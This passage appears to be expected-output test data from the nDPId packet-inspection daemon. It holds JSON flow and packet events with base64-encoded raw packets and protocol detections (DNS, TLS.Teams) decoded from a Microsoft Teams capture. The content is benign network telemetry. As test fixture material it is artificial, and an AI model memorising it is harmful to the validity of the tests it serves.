+00409{"flow_id":75,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2605,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":938413,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGShbAqAEGNHL6mcN0AbuMksyUCYYdx1AQH71ZuQAA"} +02001{"flow_id":64,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2629,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041694,"pkt_ts_usec":120717,"pkt_caplen":1227,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1227,"pkt_l4_len":1193,"pkt":"EBMx8Tl2KDc3AG3ICABFAAS9\/boAAEARNM3AqAEGNHJNiMnhDZYEqZVHBl3+t6o2WT+OKw\/oTFMoposi76goQSvdTkAkvomrWFuLQAOPtN1PZOmBbtTke\/YgFGvZ0KvPBNQ5Wm2b8RSp8MLBeXUbSb3ihMwS+jtgaiyGWs+98DH\/XiUzP5qF03kNm6hkC2X4f90uSk+qnKDXx+nMgrAp0\/c4ktIgnvwSKlQuZz9ri97ShVTO0OWHpHehFI8ySmDhIQvj+B8Ons2z5Lvg3ffuGNYe6crWNgXZ0qKFgPHpXjJx\/wdodQrdlhUSFIrhAuf7ipEjkyD1z1y2FzfwouTPXUXbzMBEFC4M+pre6XPfxER5ZFN2Z5ot8Wfj4sMpfOmqwegxunkQP4u4Dpoyl1yTFZ5tGVDoS8bVR9dEvjepY1DyFVKh4lzFW8ooCq3R0u0NzPR1zbXcsUK2vRNQfkuFkm8kJpBPm+sDRNV0E7nocNcIy9cbzYY8R2L5n8Ei8aRtWWInQYVRebKHiM3bT78vy8pu91j3o6F7sj94167kkAjRqNewpzCwSD0Wg+CSHSzVXmncsbo8cUJmybHnSbzP2\/cVCW0tIuklqz\/yTGItsOKa14YayXwz8NM3QLabWUJcuzL2qgJeZM7ds+vJhDjMub1jJ0pY7\/AOgd1gx6v1aOpp83mXc849HgYCS4FHRhVJbviqYw3Qz7wEvIPnET9G5D9tT3taEhj8OsCry0Cv3Cdh60qxw7GhkX8C4KBQtcxkOzOFQvaN4P465wdmFCboScbCuxn4wCzFtcVhwooyaX9ParD4z\/JHSlm+cuHZFX0k4mhOL3rzKGDphdIiWrabG7bPDeIDWqx1979JFMahbtO9RC+9rtm8+2gjkSuDvk0mptCERf0EwFD1njDYdIkeyeHjVG7sJKOHmalzFx0NsAyJtfSeRPQO2szzmHsmxH3+otQV5gmzsVCZSGXuqGpX7iUa5voQifaQEBkPxFidHtFPkMsZFsYJsRHYaYKEgt\/+t9tdfO7KOEvvqkgGd4snxb6kryNJr2z4yoU2Uz6XCNoppFlA4n61o5lQX4TMyUOL3fUpNNrNMH8xLyxBEJ5RjmQ0uf814MIfXsYQqHMfNWhc9ff5G6ZsWJPmEUmgVZHeYDD2QEWXT+zPq0BWChHEwinek+mjRLoa6CYfNtWd8mE3A7g5ww9TFyamhwXowuT3QA9V3xAvMgNzqScDow\/fkYkgloS2F\/LZ6qCI1z\/DibL70ZeKbW3al8cF73MCwSxTCGB6EtBn48z\/yXevDNcWU2DL7arg\/QaX6Mm7dmtwH7Y8+9SgfRZ5O8Kg9d7ih\/FsyUgMgAF2h7e\/pym\/O6Ou\/89k2PfYJHRfrd1M61FVy5Uhs5kfsIAbGuSuMrDL5oCbdnJOcJ2XQgIKrjquEvSMSpkabv7tbKU2YFGQ97\/wTqpxOGPbhfS0XvKh1GR2BI3nCh31aHfAeBu8fsfZlFOvbAd0oZC9Q6h7vGIgcDuEy0O7t7cX7xKNwyLUtO7hmIUkhppFuIdcKwrHlWqVKc2WE77kUDf1xEVdexjFM7FKjmNQk8nMclH5R\/ou8m94L58wLC2ILhY4q0WDOvWLmGIorcxK4E+MnpjO\/SgE"} +00444{"flow_id":64,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2630,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041694,"pkt_ts_usec":166447,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"KDc3AG3IEBMx8Tl2CABFAABBNJYAAGwR1m00ck2IwKgBBg2WyeEALargAzk5ZGQ3NzNkLTE5NGQtNDI0MC04MzliLTMxMTIxNWQ3OGZjMw=="} +01426{"flow_id":64,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2631,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041694,"pkt_ts_usec":217771,"pkt_caplen":795,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":795,"pkt_l4_len":761,"pkt":"KDc3AG3IEBMx8Tl2CABFAAMNNJcAAGwR06A0ck2IwKgBBg2WyeEC+aecB1UVQ0I8M6FxU9jkNGUVrfYsu7yDLmG89ZSTvlNF5TpUlzTQ8G\/WoZAcduFrX9xwwsgTlyWR\/ZJXdWBPXcQKDMBDl8GHaw3lWitB0YSSDN\/6aj6wVTGssPy0SacuJz4PM485lC\/WpQEUg\/dwTCBKSb4sZpaN+b4fa4H63Sras9CRRkNNZX8Oo9eyIyZ3gqUv9gPVTI150j7g3RDPNpeJNlf85JSIyyePgyMPvxSZBMqkSilqp1nYF18Exoly8w9aSdwAwZImrCEE1FiGLxTlBeZR5SojZLildRr+USDoQk4aPiyQCz8uW6vXBZDAVScTmaYW4KeHzCPn1Zi5Z1D5ohg239NFCPP7p0w20EvQqZtbtw6YdY8FFZJ4Xjka3LlyJ0LqUH+CyBqrbB\/jfF+y+fX1zfSErh\/AtY\/SHoHzRUK3ptds98ieAen3ZuR2zX9OCRPVjiecyOb1JF5sRoUw\/Fg0RSBKhZH1fRsz5fI9R3e8DC\/QYF6HGWV1kuMhPh7vnQS3GA9w061KitjkHMdmB1O7EFgska2ph1S4NYSpXr9TmiS\/5YRKt09eo9iN2SjkJTb96gJStpSbNR\/tbZZRrH8bZODZsf7i3\/4S2mlJX9KHA8CaNu\/8hdp8pfDPEZ3ygGD\/G\/LmYqao4O\/cprao85GqyLmFi0fJKyD\/QOixF8jqWlPrfO+6l0217b9TQn22e3jScw4kcpjFpnMc9Exibi4Ka7ZxpjLsaCg3th\/eTjUhyYLe5f2OMo3hezY+\/hd+3gqV+axaOZ9DVnh0Oa\/IxOpvqVU4sDicawTrJAVg7xBYRMKpTnNFnt\/RJh5KkJRZLTMxPCIRwose2fhDQ\/0qv94wuRRujWSPz4LfVns\/mjvv9LOwg+aCsDOQj4NqAxYVlzysfVVXB6MT9pCHm8HRXlYWtA3+jSTKtcCBfysZ1ekXEmi0tG\/WUYPmN39o\/dbKs8XmGYfABSUkKMhZErAWH4pRMuDbO8vknAtW\/8ZIAEH0"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2632,"source":"teams.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_first_seen":1587041694219,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.136","src_port":60567,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":76,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2632,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041694,"pkt_ts_usec":219802,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG9w\/AqAEGNHJNiOyXAbs8mpamAAAAALAC\/\/8lfgAAAgQFtAEDAwUBAQgKMITbvgAAAAAEAgAA"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2633,"source":"teams.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":1587041694221,"flow_last_seen":0,"flow_tot_l4_data_len":66,"flow_min_l4_data_len":66,"flow_max_l4_data_len":66,"flow_avg_l4_data_len":66,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":60837,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00474{"flow_id":77,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2633,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041694,"pkt_ts_usec":221137,"pkt_caplen":100,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":100,"pkt_l4_len":66,"pkt":"EBMx8Tl2KDc3AG3ICABFAABWS5cAAP8R7KfAqAEGwKgBAe2lADUAQpDJn88BAAABAAAAAAAAG2MtZmxpZ2h0cHJveHktZXVuby0wMS10ZWFtcwhjbG91ZGFwcANuZXQAABwAAQ=="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2633,"source":"teams.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":1587041694221,"flow_last_seen":0,"flow_tot_l4_data_len":66,"flow_min_l4_data_len":66,"flow_max_l4_data_len":66,"flow_avg_l4_data_len":66,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":60837,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"c-flightproxy-euno-01-teams.cloudapp.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00575{"flow_id":77,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2634,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041694,"pkt_ts_usec":234511,"pkt_caplen":176,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":176,"pkt_l4_len":142,"pkt":"KDc3AG3IEBMx8Tl2CABFAACixyFAADkR9tHAqAEBwKgBBgA17aUAjgAAn8+BgAABAAAAAQAAG2MtZmxpZ2h0cHJveHktZXVuby0wMS10ZWFtcwhjbG91ZGFwcANuZXQAABwAAcAoAAYAAQAAAA4AQARwcmQxDmF6dXJlZG5zLWNsb3VkwDEGbXNuaHN0CW1pY3Jvc29mdANjb20AfaP8PAAAA4QAAAEsAAk6gAAAADw="} +00681{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2634,"source":"teams.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":2,"flow_first_seen":1587041694221,"flow_last_seen":1587041694234,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":66,"flow_max_l4_data_len":142,"flow_avg_l4_data_len":104,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":60837,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"c-flightproxy-euno-01-teams.cloudapp.net","num_queries":1,"num_answers":1,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00426{"flow_id":76,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2637,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041694,"pkt_ts_usec":262764,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0VplAAGwGdII0ck2IwKgBBgG77Jdw4z8APJqWp4AS\/\/+58wAAAgQFoAEDAwgBAQQC"} +00409{"flow_id":76,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2638,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041694,"pkt_ts_usec":262870,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAG9yfAqAEGNHJNiOyXAbs8mpancOM\/AVAQIADasgAA"} +00675{"flow_id":76,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2639,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041694,"pkt_ts_usec":263191,"pkt_caplen":249,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":249,"pkt_l4_len":215,"pkt":"EBMx8Tl2KDc3AG3ICABFAADrAABAAEAG9mTAqAEGNHJNiOyXAbs8mpancOM\/AVAYIADbZQAAFgMBAL4BAAC6AwNemFWex6L93KvTNrWWS\/8PQ2rao\/9bFvV0yUUyu2nlvwAALAD\/wCzAK8AkwCPACsAJwAjAMMAvwCjAJ8AUwBPAEgCdAJwAPQA8ADUALwAKAQAAZQAAACgAJgAAI2FwaS5mbGlnaHRwcm94eS50ZWFtcy5taWNyb3NvZnQuY29tAAoACAAGABcAGAAZAAsAAgEAAA0AEgAQBAECAQUBBgEEAwIDBQMGAwAFAAUBAAAAAAASAAAAFwAA"} +00782{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2639,"source":"teams.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":4,"flow_first_seen":1587041694219,"flow_last_seen":1587041694263,"flow_tot_l4_data_len":311,"flow_min_l4_data_len":20,"flow_max_l4_data_len":215,"flow_avg_l4_data_len":77,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.136","src_port":60567,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Teams","breed":"Safe","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"api.flightproxy.teams.microsoft.com","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00444{"flow_id":64,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2640,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041694,"pkt_ts_usec":264118,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"KDc3AG3IEBMx8Tl2CABFAABBNJgAAGwR1ms0ck2IwKgBBg2WyeEALargAzk5ZGQ3NzNkLTE5NGQtNDI0MC04MzliLTMxMTIxNWQ3OGZjMw=="} +02369{"flow_id":76,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2641,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041694,"pkt_ts_usec":308351,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUVptAAGwGbuA0ck2IwKgBBgG77Jdw40StPJqXalAQCAQlEAAAcnAvY3JsL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjA0LmNybIZJaHR0cDovL2NybC5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3JsL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjA0LmNybDBNBgNVHSAERjBEMEIGCSsGAQQBgjcqATA1MDMGCCsGAQUFBwIBFidodHRwOi8vd3d3Lm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcHMwHwYDVR0jBBgwFoAUenuMwc\/noMoc1Gv6++Ezww8aop0wHQYDVR0lBBYwFAYIKwYBBQUHAwIGCCsGAQUFBwMBMA0GCSqGSIb3DQEBCwUAA4ICAQCGBg8ckx9UDTW7UZXC+1At9FP7A44gNWDP9CaNquKk0Ym4Hc6H0wUEGjC2TPH4ZMpVVvzoaDTGQwOYpaTTUvX3MEMOYKEG1Cvx9tqcsdP3yUB2L0u\/Y3lBDRRYTQjeuiKHInHCIKjjX\/QCOyzvB5\/C0exDQl9fWwS+qncho+mgAfK2IA8Fxzsv6+EtDoQ7Dvl6yGFB0IOq2h0mRJqrPawbpWi2DqNdE30PlqszN6KarfO3etdnYrpJGC2USn7nux+J+nU9mSFC0ZsLRlurcf+j5mIScxOoR1R1zgqZUwqnxhpp4P1IJVImICPzlelUrV+V7b3YppHp2Rgn\/+S4J10m17s2TbLTa97JGjEE\/3YQ7h5IdjwTnwuq1dP++rQhXt3FX3MOWAHLNAKjiWyKZFU6vIewI5Hi6y2fkjqSeRt4\/aWEgJvh20gdM0p+zqdmShg\/748CHucnl5Zm4aJe3RbjYEYoFcds8ex0ujMudADb\/QzGDXRU0vzS1rVbA4cYFxJP\/arXmxNmNaQws3ulhsztenPZhSi+YjcTSxMjLvyNTiFRWl6oPmD03juUR4abmC3Z6rh\/ORpnPJ\/Em03uuhRVjI2A+WVhItVGj\/kDERprkC2fKCqbcztcQMil\/Kk2WHT\/UliJtmxX7yjxKPFWCSC+MDNsBV3uBwoK+m\/VewoOUwAFuDCCBbQwggScoAMCAQICEAtqs7A+san2xGCSaqjN\/rMwDQYJKoZIhvcNAQELBQAwWjELMAkGA1UEBhMCSUUxEjAQBgNVBAoTCUJhbHRpbW9yZTETMBEGA1UECxMKQ3liZXJUcnVzdDEiMCAGA1UEAxMZQmFsdGltb3JlIEN5YmVyVHJ1c3QgUm9vdDAeFw0xNjA1MjAxMjUyMzhaFw0yNDA1MjAxMjUyMzhaMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNDCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAKvl612jazme9TSIErsdUiZdfQkLxnmOq7cO3xmy3e4P9u70VuRG4pIP4mcL4xxxpNRBc7TLmRaOv3d9sK8ebO1xLsMId0pekq7sWtBIgdDF6aD1eo8ejV7TrZLA2saRNTEguTkEzRAqPJcdAJ6ZGBgJz0uX5Mn8APAMWp026LJAwUqshCiqPUYYK6eKrPSvS6h+SULHYiDA5qc7XeuQH7uK2JyQ4zqxbMKUzj4ya8txs0EuucXhXdhZJ4L74UgNfugE8fkBJ0H6lFp9xTC7trrXEZuI+gHMbkuSufh4PMucaJoWZojQk7Aqgy6XER1+gSBh5LC5m5xuU5WVIsbZvXUQutl1jDw\/HdCW+DNFe3sfVDPlSJenBSSi29Hcla4gKn2WiUh7knrQJLHeSBH3Zzy03\/hYYPVPezRo"} +02362{"flow_id":76,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2642,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041694,"pkt_ts_usec":308388,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUVppAAGwGbuE0ck2IwKgBBgG77Jdw4z8BPJqXalAQCAQxsQAAFgMDFxgCAABVAwNemFWez81PLBKBZ\/ZpWXJH6TAXSuhpR6LjZ9O5\/Ib1biDUNwAAmksidY2QH9d8PFbA8ZxWhvJjR72URb6wfpIuXsAwAAANAAUAAAAXAAD\/AQABAAsADhsADhgACFowgghWMIIGPqADAgECAhN4ABOX6qx\/dbFtLnWXAAAAE5fqMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNDAeFw0yMDAzMjQwNDQ3MDZaFw0yMjAzMjQwNDQ3MDZaMCwxKjAoBgNVBAMMISouZmxpZ2h0cHJveHkudGVhbXMubWljcm9zb2Z0LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAM5cPc7+ffK5nA0L4JgyJVHq5gssIfEdRmtC73dVI6zgnGtpT6f3nwYpTDAQKMlx6QsudSvJ2pakD8uGh72z+HfVZkUmpPe5HPUgy1w7rfw5LOkFR51Ypaumu6aB51uPVwr5ibsSYWY3hG5ucc\/Fn9\/HeGIvOHWZAl8Fv0RRb4k5k1AJpccrpd9E2zNB3GiJmtrMIXuhWVXnyfpngGQbH0SM6dSEdm8JZcHarOtVgxYQQG\/b1ODleAEzslbmo86WxY6Z1cSJq33dsyCLLLD7LqitPXTTIoJz3Pd3tcRV4T8gAVTyZBtgIeBCpt\/+d6nv5Dj3LOJiKm1ezIikFMa9YWECAwEAAaOCBA8wggQLMIIBfgYKKwYBBAHWeQIEAgSCAW4EggFqAWgAdQCkuQmQtBhYFIe7E6LMZ3AKPDWYBPkb37jjd80OyA3cEAAAAXEK5s89AAAEAwBGMEQCIGAcfPGmuUGLqlrtIZKVsZNpcprCDipXuImCLtIeofxOAiAJCiZ4ErCA5qX67EyXj01VyLmTNMWAvahgRq6K6zvqnwB2AFWB1MIWkDYBSuoLm1c8U\/DA5Dh4cCUIFy+jqh0HE9MMAAABcQrm0FYAAAQDAEcwRQIhAJKFCfeWNvf1IxKewyf4Xx8dQsiTrAwAumZ30GCkn7hZAiADsvQWiokkf8qqj+AUZjNgCqKxE\/Ch2mf8PRQt8JGvPQB3AEHIyrHfIkZKEMahOglCh15OMYsbA+vrS8do8JBilgb2AAABcQrmz2MAAAQDAEgwRgIhAJ1EiYGY8MIsWsVz++Q4MhHeZVQpPNpzqTWMVhZGWHu\/AiEAuZhwzU+0SjAULNYTIgEjQDfa3HJLPfxzSMnkXO0tRp0wJwYJKwYBBAGCNxUKBBowGDAKBggrBgEFBQcDAjAKBggrBgEFBQcDATA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdhNLfQoLnk3oCAWQCAR0wgYUGCCsGAQUFBwEBBHkwdzBRBggrBgEFBQcwAoZFaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDQuY3J0MCIGCCsGAQUFBzABhhZodHRwOi8vb2NzcC5tc29jc3AuY29tMB0GA1UdDgQWBBQu7tiLoY1nJpN+\/JvokwgNNDQ88jALBgNVHQ8EBAMCBLAwLAYDVR0RBCUwI4IhKi5mbGlnaHRwcm94eS50ZWFtcy5taWNyb3NvZnQuY29tMIGsBgNVHR8EgaQwgaEwgZ6ggZuggZiGS2h0dHA6Ly9tc2NybC5taWNyb3NvZnQuY29tL3BraS9tc2Nv"} +00425{"flow_id":76,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2643,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041694,"pkt_ts_usec":308504,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG9xvAqAEGNHJNiOyXAbs8mpdqcOM\/AYAQIAAzCwAAAQEFCnDjRK1w40pZ"} +00408{"flow_id":76,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2644,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041694,"pkt_ts_usec":308507,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAG9yfAqAEGNHJNiOyXAbs8mpdqcONKWVAQH6XO8gAA"} +02372{"flow_id":76,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2645,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041694,"pkt_ts_usec":308535,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUVpxAAGwGbt80ck2IwKgBBgG77Jdw40pZPJqXalAQCAQjKwAA5v2sJgi28yxD20\/EFtCbDHGHsQdrht2PoLH7ZtrYy+ny8GXljtgc6i+6LWTxXtAbULIMhUrPO8guKmp1jMCuXNnpwHx9fNqc471KsGAHgit9XcgQry5ijNya\/eHZuVlIl0Iaw1CBCx+DImvkm7wpIoL9gFFcdV8ONcLdfy96Z589jluMu6+d9MwM+6gfnSHB8+dSGl3OFFdtULhJ7rELJ9LiaScSbsbAJj7npCsbi1M4BvoahzrgS3+ZFk5ZPVlp8XGnZWUbAgMBAAGjggFCMIIBPjAdBgNVHQ4EFgQUenuMwc\/noMoc1Gv6++Ezww8aop0wHwYDVR0jBBgwFoAU5Z1ZMIJHWMys+ghUNoZ7OrUETfAwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwJwYDVR0lBCAwHgYIKwYBBQUHAwEGCCsGAQUFBwMCBggrBgEFBQcDCTA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTA6BgNVHR8EMzAxMC+gLaArhilodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vT21uaXJvb3QyMDI1LmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzANBgkqhkiG9w0BAQsFAAOCAQEAEf5yBjohCjduyPUpIgJinkUO7foGn++\/niQ1F\/45iLK7AeF439GLl\/23d\/GKck9JOuizKdd0h+S58xdgh4iSVYK92X0TSH8GkDqJZuedlveVzWAP1+HK9nbu+ps1SKGYfdKTKk+BFseolrvRJfOmb1DaAJsqqPQ1AOP9LDvt5RWbfxYPx47JNiCU8B0BuRJQUJmB4ChCLI54\/+3GntXkyumgqrNIT6Rf5IsY\/xMCLZARNhhmKDoimt6V8Vnun20qF3WTUMMFEtXeZLS2vNvXdln+pdblVuH+Rlw7ivjsDvvvEpCRziASgbo8UuN\/40D0DEEgZocY2jJp4PbcjyjyvRYABysBAAcnMIIHIwoBAKCCBxwwggcYBgkrBgEFBQcwAQEEggcJMIIHBTCBx6IWBBSf5XT0Ei8HGSR2kg+kjipmqRRaChgPMjAyMDA0MTQyMzM2NDJaMIGbMIGYMEwwCQYFKw4DAhoFAAQUIq8AHIB1Ygcm4MiTGuynQhwyEjoEFHp7jMHP56DKHNRr+vvhM8MPGqKdAhN4ABOX6qx\/dbFtLnWXAAAAE5fqgAAYDzIwMjAwNDE0MjMzNjQyWqARGA8yMDIwMDQxODIzMzY0MlqhIjAgMB4GCSsGAQUFBzABBgQRGA8yMDE5MDQxNTIzMzY0MlowDQYJKoZIhvcNAQELBQADggEBAHwznQ\/hzUSTWHBxpAJ4aqKv6m7rJBDb4CqDYdLDNhXtlYpCM6n\/9QOn6NmbMjdDIBj9FUSZ3+FYTXyBqoGNyFjaZkIQtaPRye0L+rigTeedFQgBc7xiBZwIf7uKUP1iM1kq4X1XyEO\/\/2EhObdPM5\/pw8QcnTL9Qi+4CjnHQQl1Gx3KF7LkDBZyQW1QEjgdool1nso3yUbTT0\/3Os2JUrAC0nvMGlKPmmswqrT7zojqNgGv0aE\/W4IVLfm5r1yGJpMwE9FhdD3\/rZNT5GbtgiTS8Rbhmtu5zuCl7MUzU7dND8YiiTpQvKiZ2q4m0lzPoOoA+SpgmZZnCqQ4ojhQOdagggUjMIIFHzCCBRswggMDoAMCAQICE3gAErJ3YfnO2ox+\/bwAAAASsncwDQYJKoZIhvcNAQELBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNy"} 